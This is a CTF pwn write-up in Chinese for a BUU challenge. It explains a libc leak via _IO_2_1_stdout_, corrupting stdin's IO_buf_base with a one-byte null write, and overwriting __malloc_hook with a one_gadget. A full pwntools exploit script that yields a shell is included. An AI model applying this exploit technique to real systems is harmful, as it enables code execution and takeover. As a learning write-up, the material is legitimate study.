该题在buu上可搜到原题
题目分析

main函数很简单,首先在reprintname函数里会输入name,接着把他打印出来,调试可发现利用字符串输出到\x00才截止可以泄露出__IO_stdout的地址,从而泄露libc基地址

构造适当payload,刚好可以泄露出IO_2_1_stdout,payload构造如下

p = process('./stackoverflow')
libc = ELF('./libc-2.23.so')
# p=remote('node5.buuoj.cn',28485)
p.sendlineafter(b'leave your name, bro:',b'a'*31)
p.recv(40)
iostoutaddr=p.recv(6).ljust(8,b'\x00')
iostoutaddr=u64(iostoutaddr)
print('iostdout:',hex(iostoutaddr))
libc_base=iostoutaddr-libc.symbols['_IO_2_1_stdout_']
malloc_hook=libc_base+libc.symbols['__malloc_hook']
onegadget=0xf1147+libc_base
根据这个libc我们可以得到mallochook的地址和onegadget的地址,方便后续使用
接下来我们看一下while循环,其内部函数长这样

分析可以发现首先要输入一个v1,接着getc了一下(这里有伏笔),如果v1太大那么要重新输入,但是不会刷新v2的值,随后分配了一个v1+1大小的堆块,并将其地址储存在一个全局变量中,接着对这个堆块内容进行输入(不过这里没有漏洞),最后,在偏移为v2的地址处写入一个0,由此有一个漏洞,可以再任意地址写一个\x00
做这道题之前有一个前置知识需要了解:当堆块过大(>0x200000)时,会分配在libc的上方,且偏移固定

具体打法
好了,前期铺垫这么多,我们来说一下到底该如何利用这里的任意写\x00
checksec过题目之后,发现保护除了PIE全开满了

这意味着除了bss段,没有可写的地方了,got表在此题也无法修改,不过发现配套的libc确只开了partical relro,这意味着我们可以修改libc中的mallochook为onegadget。不过直接利用这一字节任意写0很显然无法实现上述操作,由此本题引出了利用修改IOfile里stdin结构体的IO_buf_base的方式实现任意地址写的操作。
stdin是个什么?
stdin是一个libc里的结构体,他里面存放有输入缓冲区和下一个该读取的数据的起始位置等,详情可以参见我写的另一篇文章stdin学习,再往下读之前一定要把我stdin学习这篇文章里的链接文章读透
为什么要修改stdin?
前文已知,stdin里存放的数据决定了输入缓冲区的起始,这是一个指针,也就意味着,假设我把该指针修改到mallochook处,下次输入数据就会在缓冲区,也就是此时修改后指向的mallochook处,由此不就可以实现修改mallochook的效果了吗
怎么修改stdin?
问得好,上文说到了一个前置知识,大堆块和libc之间有一个固定偏移,而libc和stdin之间也有一个固定偏移,这就意味着stdin和堆的起始地址之间有一个固定偏移,该偏移可以通过调试得出,如果这个偏移大于0x300000,那么根据程序,他就会赋值给v2,然后重新输入v1,这样我们不就可以实现修改stdin了嘛?
为什么此题可以修改stdin?
这个还是由于他特殊的地址决定的
首先打开ida我们可以发现stdin存放于0x602020处(bss段)查看该地址,可以发现存放的还是一个地址

查看该地址,可以发现他指向了IO_2_1_stdin,这也正是stdin结构体在libc中的真实位置

在gdb里输入p *stdin,即可查看stdin结构体的结构

由此,我们可以得到IO_buf_base的地址

它的地址很特殊,以963结尾,而特殊之处就在于地址900正好在他的上方不远处,根据结构体我们可以知道它对应的是IO_write_base(本题中不重要),也就是说,如果我们让这个任意写漏洞写在IO_buf_base的位置,那么下一次输入缓冲区就变成了900开始的位置,而这个位置经过一定的输入构造,恰好可以覆盖IO_buf_base的值为mallochook的地址,那么在下一次输入的时候,就是往mallochook里输入了。
只不过,这里要注意的是,经过上面一些payload的发送,此时的read_ptr不等于read_end,也就意味着此时无法从输入读取任何东西(如果你听了我的建议把我推荐你读的前置文章读完了,那你应该能理解我在说什么),此时getc函数变发挥了它的作用,_IO_getc函数本质上调用了getc函数,其作用是使得read_ptr指针加1,通过调试,我们发现此时的read_ptr和read_end之间相差0x26

因此我们首先要利用0x26次getc,使read_ptr指针加0x26,在输入一次数据,使系统调用underflow函数,而该函数正是实现了刷新read_ptr的函数

因此,当scanf遇到不可见字符的时候,会跳过该字符,并返回0,接着执行getc的时候便可以刷新缓冲区,下一次输入就可以在mallochook输入了,因此总共要发送0x27=39次无关payload,代码如下
p.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x5c5908))
p.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x200000))
p.sendlineafter(b'padding and ropchain: ',b'a')
p.sendafter(b'please input the size to trigger stackoverflow: ',b's'*0x18+p64(malloc_hook)+p64(malloc_hook+0x50))
p.sendlineafter(b'padding and ropchain: ',b'a')
#先把IO_buf_base改成mallochook
for i in range(39):
p.sendafter(b"please input the size to trigger stackoverflow: ",b'\x00')
#调整read_ptr=read_end,下一次输入到mallochook
补充一点:在当前缓冲区有东西的前提下,scanf是不会读取输入数据的,而是会优先读取缓冲区的数据,此时输入的一切数据都是无效的,只有当缓冲区用光,即read_ptr=read_end的时候,系统才会调用read函数从输入读数据到输入缓冲区,在此之前发送的一切数据都没有用,而在本题中,由于先前给缓冲区里发送的数据都是一些英文字母或是不可见字符,所以scanf遇到他们并不会使IO_read_ptr+1,因此才需要有getc函数。经过调试也确实证实了无论无关payload的形式如何,最后都能打通
完整代码
完整payload如下:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./stackoverflow')
libc = ELF('./libc-2.23.so')
# p=remote('node5.buuoj.cn',28485)
p.sendlineafter(b'leave your name, bro:',b'a'*31)
p.recv(40)
iostoutaddr=p.recv(6).ljust(8,b'\x00')
iostoutaddr=u64(iostoutaddr)
print('iostdout:',hex(iostoutaddr))
libc_base=iostoutaddr-libc.symbols['_IO_2_1_stdout_']
malloc_hook=libc_base+libc.symbols['__malloc_hook']
onegadget=0xf1147+libc_base
print('libc_base:',hex(libc_base))
p.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x5c5908))
p.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x200000))
p.sendlineafter(b'padding and ropchain: ',b'a')
p.sendafter(b'please input the size to trigger stackoverflow: ',b's'*0x18+p64(malloc_hook)+p64(malloc_hook+0x50))
p.sendlineafter(b'padding and ropchain: ',b'a')
#先把IO_buf_base改成mallochook
for i in range(39):
p.sendafter(b"please input the size to trigger stackoverflow: ",b'hello')
#调整read_ptr=read_end,下一次输入到mallochook
# attach(p)
# pause()
p.sendlineafter(b"please input the size to trigger stackoverflow: ",p64(onegadget))
p.interactive()